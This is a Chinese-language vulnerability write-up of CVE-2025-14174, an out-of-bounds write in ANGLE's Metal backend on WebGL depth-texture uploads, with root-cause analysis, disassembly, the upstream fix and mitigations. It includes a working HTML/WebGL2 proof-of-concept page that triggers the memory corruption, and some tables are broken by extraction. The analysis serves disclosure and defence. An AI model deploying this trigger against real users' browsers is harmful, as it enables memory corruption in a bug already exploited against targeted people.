针对 CVE-2025-14174 的分析与 PoC - ANGLE Metal 越界写入(iOS Safari、macOS Chrome)
CVE-2025-14174 的技术分析与概念验证
| CVE | CVE-2025-14174 |
| 严重性 | 高 |
| 在野利用 | 是 - 针对 iOS < 26 的有目标攻击 |
| 受影响范围 | iOS Safari、macOS Chrome/Chromium/Electron(不包括 macOS Safari) |
| 状态 | 已在 ANGLE 提交 95a32cb 中修复 |
| 致谢 | Apple、Google 威胁分析小组 |
据 Apple 称,CVE-2025-14174 在早于 iOS 26 的 iOS 版本上,作为**"针对特定目标个人的极其复杂的攻击"**的一部分被利用。
攻击链包括:
ANGLE 的 Metal 后端在通过暂存缓冲区上传深度纹理时存在越界(OOB)写入漏洞。暂存缓冲区的大小是使用 GL_UNPACK_IMAGE_HEIGHT 计算的,而非实际纹理高度。当 UNPACK_IMAGE_HEIGHT < height 时,ANGLE 会分配一个过小的缓冲区,随后将 height 行数据写入其中,导致渲染进程中的 GPU 内存损坏。
该漏洞影响使用 ANGLE 的 Metal 后端 提供 WebGL 支持的应用程序:
iOS Safari 受影响。 在 iOS 上,WebKit 使用 ANGLE 作为其 WebGL 后端,这使得 iPhone 和 iPad 上的 Safari 易受攻击。
macOS Safari 不受影响。 在 macOS 上,Safari 使用 WebKit 自有的原生 WebGL 实现,直接与 Metal 交互,完全绕过了 ANGLE。
macOS Chrome 受影响。 测试期间,运行在 macOS 26.1 上的 Google Chrome 表现出漏洞,因为它使用 ANGLE 的 Metal 后端提供 WebGL 支持。
存在漏洞的代码路径位于 ANGLE 的 TextureMtl 类中(setSubImageImpl / setPerSliceSubImage / SaturateDepth)。
| 严重性 | 描述 |
|---|---|
| 已确认 | GPU/Metal 后端写入超出暂存缓冲区末尾 |
| 已确认 | 可通过 WebGL2 + PBO + DEPTH_COMPONENT32F 复现 |
| 可能 | 内存压力下 GPU 进程崩溃或上下文丢失 |
关键特征:
NO_ERROR)在 D32F 深度纹理上传路径中,ANGLE 根据 GL_UNPACK_IMAGE_HEIGHT 计算 pixelsDepthPitch,并使用该值来确定暂存 MTLBuffer 的大小。然而,随后的计算调度(深度饱和处理)使用实际纹理高度执行操作,当参数不一致时会导致越界写入。
对于 width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
必须满足以下所有条件:
DEPTH_COMPONENT32F(已验证;其他深度格式可能也受影响,但未测试)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT 设置为小于实际纹理高度的值根据 GL 规范,GL_UNPACK_IMAGE_HEIGHT 用于影响 3D/数组纹理的上传,而非 2D 纹理。对于 TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < heightWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
SaturateDepth 函数随后使用实际纹理尺寸调度 Metal 计算着色器,从而将数据写入超出过小暂存缓冲区的范围。
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
易受攻击系统上的预期结果: 尽管 GPU 进程中发生了越界写入,gl.getError() 仍会返回 NO_ERROR。
ANGLE 提交 95a32cb 修正了暂存缓冲区的分配,使其使用实际纹理尺寸:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
此外,还修复了 blit 操作的 srcBytesPerImage 计算:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
该漏洞很难从 JavaScript 中检测到:
NO_ERROR| 方法 | 说明 |
|---|---|
| 更新 | 应用包含 ANGLE 修复的平台更新 |
| 规避措施 | 避免为深度纹理设置小于实际高度的 UNPACK_IMAGE_HEIGHT |
| 纵深防御 | 使用 UNPACK_IMAGE_HEIGHT == height 的固定大小上传 |
漏洞发现: Apple、Google 威胁分析小组
技术分析: 本文档记录了针对该漏洞的独立研究与逆向工程。
本分析是 SpiderWebKit 安全研究项目的一部分。
| 平台 | 软件 | 受影响 | 说明 |
|---|
| iOS | Safari | 是 | iOS 上的 WebKit 使用 ANGLE Metal 提供 WebGL 支持 |
| macOS | Chrome / Chromium | 是 | 使用 ANGLE Metal 后端 |
| macOS | Electron 应用 | 是 | 使用 Chromium 的 ANGLE 实现 |
| macOS | Safari | 否 | 使用 WebKit 自带的原生 Metal WebGL,而非 ANGLE |
| 理论 | GPU 内存中的跨资源损坏(尚未证实) |
| 参数 | 计算 | 值 |
|---|
| 行距 | width * sizeof(float) | 4 字节 |
| 暂存缓冲区(已分配) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 字节 |
| 计算调度(已写入) | rowPitch * actualHeight | 2048 字节 |
| 越界写入 | 2048 - 512 | 1536 字节 |
| 函数 | 地址 | 作用 |
|---|
setSubImageImpl | 0x272fa9028 | 计算过小的 depthPitch |
setPerSliceSubImage | 0x272fac240 | 分配过小的暂存缓冲区 |
MakeBufferWithStorageMode | 0x272ef19bc | 以错误的大小创建 MTLBuffer |
SaturateDepth | 0x272facfa4 | 以实际尺寸调度计算 |
| 函数 | 地址 | 作用 |
|---|
setSubImageImpl | 0x22c6d10f4 | 计算过小的 depthPitch |
setPerSliceSubImage | 0x22c6d4398 | 分配过小的暂存缓冲区 |
MakeBufferWithStorageMode | 0x22c619490 | 以错误的大小创建 MTLBuffer |
SaturateDepth | 0x22c6d5144 | 以实际尺寸调度计算 |